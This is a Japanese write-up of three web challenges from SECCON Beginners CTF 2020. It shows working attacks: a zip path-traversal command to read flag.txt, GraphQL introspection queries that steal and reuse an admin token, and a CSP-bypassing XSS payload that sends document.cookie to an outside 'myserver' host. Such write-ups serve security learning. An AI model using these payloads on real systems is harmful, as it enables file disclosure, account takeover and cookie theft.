SECCON beginners CTF 2020 web問 writeup

5月23日から24日に行われたSECCON beginners CTFにチームKUDoSで参加しました。
welcome問を除いて1問以上通した691チーム中3位でした。チームメンバーに感謝!
僕はwebのunzip、profiler、Somenを解きました。去年はwebが足を引っ張ってしまったと思い反省してましたが今年は全完できました。嬉しいです。


unzip(120solvesくらい)

Unzip Your .zip Archive Like a Pro.
https://unzip.quals.beginners.seccon.jp/
Hint:
index.php (sha1: 968357c7a82367eb1ad6c3a4e9a52a30eada2a7d)
Hint
(updated at 5/23 17:30) docker-compose.yml

index.phpdocker-compose.ymlが渡されました。
zipファイルをアップロードするとサーバ上で展開してくれるサービスみたいです。

<?php
error_reporting(0);
session_start();

// prepare the session
$user_dir = "/uploads/" . session_id();
if (!file_exists($user_dir))
    mkdir($user_dir);

if (!isset($_SESSION["files"]))
    $_SESSION["files"] = array();

// return file if filename parameter is passed
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
    if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
        $filepath = $user_dir . "/" . $_GET["filename"];
        header("Content-Type: text/plain");
        echo file_get_contents($filepath);
        die();
    } else {
        echo "no such file";
        die();
    }
}

// process uploaded files
$target_file = $target_dir . basename($_FILES["file"]["name"]);
if (isset($_FILES["file"])) {
    // size check of uploaded file
    if ($_FILES["file"]["size"] > 1000) {
        echo "the size of uploaded file exceeds 1000 bytes.";
        die();
    }

    // try to open uploaded file as zip
    $zip = new ZipArchive;
    if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) {
        echo "failed to open your zip.";
        die();
    }


    // check the size of unzipped files
    $extracted_zip_size = 0;
    for ($i = 0; $i < $zip->numFiles; $i++)
        $extracted_zip_size += $zip->statIndex($i)["size"];

    if ($extracted_zip_size > 1000) {
        echo "the total size of extracted files exceeds 1000 bytes.";
        die();
    }

    // extract
    $zip->extractTo($user_dir);

    // add files to $_SESSION["files"]
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $s = $zip->statIndex($i);
        if (!in_array($s["name"], $_SESSION["files"], TRUE)) {
            $_SESSION["files"][] = $s["name"];
        }
    }

    $zip->close();
}
?>

<!DOCTYPE html>
<html>

<head>
    <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">

    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title></title>
</head>

<body>
    <nav role="navigation">
        <div class="nav-wrapper container">
            <a id="logo-container" href="/" class="brand-logo">Unzip</a>
        </div>
    </nav>


    <div class="container">
        <br><br>
        <h1 class="header center teal-text text-lighten-2">Unzip</h1>
        <div class="row center">
            <h5 class="header col s12 light">
                Unzip Your .zip Archive Like a Pro
            </h5>
        </div>
    </div>
    </div>



    <div class="container">
        <div class="section">
            <h2>Upload</h2>
            <form method="post" enctype="multipart/form-data">
                <div class="file-field input-field">
                    <div class="btn">
                        <span>Select .zip to Upload</span>
                        <input type="file" name="file">
                    </div>
                    <div class="file-path-wrapper">
                        <input class="file-path validate" type="text">
                    </div>
                </div>
                <button class="btn waves-effect waves-light">
                    Submit
                    <i class="material-icons right">send</i>
                </button>
            </form>
        </div>
    </div>

    <div class="container">
        <div class="section">
            <h2>Files from Your Archive(s)</h2>
            <div class="collection">
                <?php foreach ($_SESSION["files"] as $filename) { ?>
                    <a href="/?filename=<?= urlencode($filename) ?>" class="collection-item"><?= htmlspecialchars($filename, ENT_QUOTES, "UTF-8") ?></a>
                <? } ?>
            </div>
        </div>
    </div>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
</body>

</html>
version: "3"

services:
  nginx:
    build: ./docker/nginx
    ports:
      - "127.0.0.1:$APP_PORT:80"
    depends_on:
      - php-fpm
    volumes:
      - ./storage/logs/nginx:/var/log/nginx
      - ./public:/var/www/web
    environment:
      TZ: "Asia/Tokyo"
    restart: always

  php-fpm:
    build: ./docker/php-fpm
    env_file: .env
    working_dir: /var/www/web
    environment:
      TZ: "Asia/Tokyo"
    volumes:
      - ./public:/var/www/web
      - ./uploads:/uploads
      - ./flag.txt:/flag.txt
    restart: always

アップロードしたzipファイルは/uploads/<sess_id>/以下に展開されるようです。
また、$_SESSION["files"]に展開されたファイル名の一覧が保存されており、/uploads/<sess_id>/<file_name>にリクエストを送るとそのファイルにアクセスできます。
<file_name>ディレクトリトラバーサルができそうなので、展開すると../../../../flag.txtが生成されるようなzipファイルを作ってみます。
$ zip test.zip ../../../../flag.txt
test.zipをアップロードし、?filename=../../../../flag.txtにアクセスするとフラグが得られました。

ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}


profiler(60solvesくらい)

Let's edit your profile with profiler!
Hint: You don't need to deobfuscate *.js
Notice: Server is periodically initialized.

アカウント登録するとtokenが表示されます。
ログイン後の画面では、
・プロフィールの変更
・Get FLAG
が表示されました。

プロフィールの変更にはアカウント登録時に表示されたtokenを入力する必要があります。
Get FLAGをクリックすると/flagにリクエストが送られますが、お前はadminじゃないと言われます。

/flagにアクセスした際のリクエスト/レスポンスにこのような値がありました。

{"query":"query {\n    flag\n  }"}
{"data":{"flag":"Sorry, your token is not administrator's one. This page is only for administrator(uid: admin)."}}

graphqlを使用してるみたいです。
introspectionが有効か試してみます。

{"query":"query {__schema{types{name}}}"}
{
  "data": {
    "__schema": {
      "types": [
        {
          "name": "Query"
        },
        {
          "name": "User"
        },
        {
          "name": "ID"
        },
        {
          "name": "String"
        },
        {
          "name": "Mutation"
        },
        {
          "name": "Boolean"
        },
        {
          "name": "__Schema"
        },
        {
          "name": "__Type"
        },
        {
          "name": "__TypeKind"
        },
        {
          "name": "__Field"
        },
        {
          "name": "__InputValue"
        },
        {
          "name": "__EnumValue"
        },
        {
          "name": "__Directive"
        },
        {
          "name": "__DirectiveLocation"
        }
      ]
    }
  }
}

上手くいきました。
get-graphql-schemaを使ってスキーマ情報を抜き出してみます。

$ get-graphql-schema https://profiler.quals.beginners.seccon.jp/api
type Mutation {
  updateProfile(profile: String!, token: String!): Boolean!
  updateToken(token: String!): Boolean!
}

type Query {
  me: User!
  someone(uid: ID!): User
  flag: String!
}

type User {
  uid: ID!
  name: String!
  profile: String!
  token: String!
}

someoneを利用してみます。

{"query":"query {\n    someone(uid:\"admin\") {\n      uid\n      name\n      profile\n    token\n}\n  }"}
{
  "data": {
    "someone": {
      "name": "admin",
      "profile": "Hello, I'm admin.",
      "token": "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b",
      "uid": "admin"
    }
  }
}

adminのtokenが得られました。
updateTokenで自分のトークンをadminのトークンに更新してみるとどうなるか試してみます。

{"query":"mutation {\n    updateToken(token: \"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b\")\n  }"}
{"data":{"updateToken":true}}

成功しました!

その後/flagにアクセスするとフラグが得られました。
ctf4b{plz_d0_n07_4cc3p7_1n7r05p3c710n_qu3ry}


Somen(20solvesくらい)

Somen is tasty.
https://somen.quals.beginners.seccon.jp
Hint:
worker.js (sha1: 47c8e9c879e2a2fb2e5435f2d0fcfaa274671f43)
index.php (sha1: dffac56c2435b529e1bb60c6f71803aded2051af)

ヒントとしてindex.phpworker.jsが与えられました。

<?php
$nonce = base64_encode(random_bytes(20));
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='");
?>

<head>
    <title>Best somen for <?= isset($_GET["username"]) ? $_GET["username"] : "You" ?></title>

    <script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>
    <script nonce="<?= $nonce ?>">
        const choice = l => l[Math.floor(Math.random() * l.length)];

        window.onload = () => {
            const username = new URL(location).searchParams.get("username");
            const adjective = choice(["Nagashi", "Hiyashi"]);
            if (username !== null)
                document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`;
        }
    </script>
</head>

<body>
    <h1>Best somen for You</h1>

    <p>Please input your name. You can use only alphabets and digits.</p>
    <p>This page works fine with latest Google Chrome / Chromium. We won't support other browsers :P</p>
    <p id="message"></p>
    <form action="/" method="GET">
        <input type="text" name="username" place="Your name"></input>
        <button type="submit">Ask</button>
    </form>
    <hr>

    <p> If your name causes suspicious behavior, please tell me that from the following form. Admin will acceess /?username=${encodeURIComponent(your input)} and see what happens.</p>
    <form action="/inquiry" method="POST">
        <input type="text" name="username" place="Your name"></input>
        <button type="submit">Ask</button>
    </form>

</body>
const puppeteer = require('puppeteer');

/* ... ... */

// initialize
const browser = await puppeteer.launch({
    executablePath: 'google-chrome-unstable',
    headless: true,
    args: [
        '--no-sandbox',
        '--disable-background-networking',
        '--disk-cache-dir=/dev/null',
        '--disable-default-apps',
        '--disable-extensions',
        '--disable-gpu',
        '--disable-sync',
        '--disable-translate',
        '--hide-scrollbars',
        '--metrics-recording-only',
        '--mute-audio',
        '--no-first-run',
        '--safebrowsing-disable-auto-update',
    ],
});
const page = await browser.newPage();

// set cookie
await page.setCookie({
    name: 'flag',
    value: process.env.FLAG,
    domain: process.env.DOMAIN,
    expires: Date.now() / 1000 + 10,
});

// access
// username is the input value of players
const url = `https://somen.quals.beginners.seccon.jp/?username=${encodeURIComponent(username)}`;
try {
    await page.goto(url, {
        waitUntil: 'networkidle0',
        timeout: 5000,
    });
} catch (err) {
    console.log(err);
}

// finalize
await page.close();
await browser.close();

/* ... ... */

/?username=<username>にリクエストを送ると、レスポンスの一部に<username>が出力されていることが分かります。
また、/inquiryにPOSTリクエストを送ると、/?username=<POSTリクエストのusername>にヘッドレスブラウザがアクセスするようです。(例えば、/inquiryusername=hogeを送信すると、ヘッドレスブラウザは/?username=hogeにアクセスする)
フラグはCookieの値であることからXSSを目指します。

/?username=<username>のレスポンスでは<username>エスケープされずに出力されていますが、以下の/security.jsが読み込まれており、それによって[a-zA-Z0-9]以外の文字が含まれていると/error.phpにリダイレクトされます。

console.log('!! security.js !!');
const username = new URL(location).searchParams.get("username");
if (username !== null && ! /^[a-zA-Z0-9]*$/.test(username)) {
    document.location = "/error.php";
}

更にCSPも存在します。

Content-Security-Policy: default-src 'none'; script-src 'nonce-b1H5swDm+3wfZvfs5eWHwyPUlmU=' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='

XSSに至るには
security.jsの無効化
・ CSPのbypass
をする必要があります。

security.jsの無効化
security.js相対パスで読み込まれていること、security.jsを読み込む前にtitle内でユーザ入力がエスケープされずに出力されていること、を利用します。
username=</title><base href="https://example.com">を入力すると、ブラウザにhttps://somen.quals.beginners.seccon.jp/security.jsではなくhttps://example.com/security.jsを読み込ませることができます。

・ CSPのbypass
めでたくsecurity.jsを無効化できたので、次はCSPをbypassします。
CSPではscript-srcstrict-dynamicが設定されていることが分かります。
strict-dynamicを用いてる場合、「正しいnonceを持ったscriptタグ内のスクリプトが生成したスクリプト」はnonceを所有していなくても実行されます。
今回のケースでは「正しいnonceを持ったscriptタグ内のスクリプト」は以下の部分になります。

const choice = l => l[Math.floor(Math.random() * l.length)];
window.onload = () => {
    const username = new URL(location).searchParams.get("username");
    const adjective = choice(["Nagashi", "Hiyashi"]);
    if (username !== null)
        document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`;
}

innerHTMLid=messageの要素へユーザ入力を出力していることが分かります。

<script id="message">のタグ内が正しい構文になるように頑張ると、
/?username=//</title><base%20href="https://test">%0aalert(1)//<script%20id="message"></script><!-
alert(1)が実行できました。

あとはcookieを送信するようにしたペイロード/inquiryに送信するだけです。
username=//</title><base%20href="https://test">%0alocation.href="http://myserver?"%2bdocument.cookie//<script%20id="message"></script><!-


ctf4b{1_w0uld_l1k3_70_347_50m3n_b3f0r3_7ry1n6_70_3xpl017}


去年に比べてCTFやってる人がめちゃくちゃ増えた気がしてて嬉しい 2000人くらいいたんじゃないでしょうか
beginnerという名前の割に本当の意味での初心者向けではないと思ってるので、初心者の方で全然できなかったという人は気にすることないと思います。
自分もCTFを始めたときにbeginnerの問題見て挫折しかけました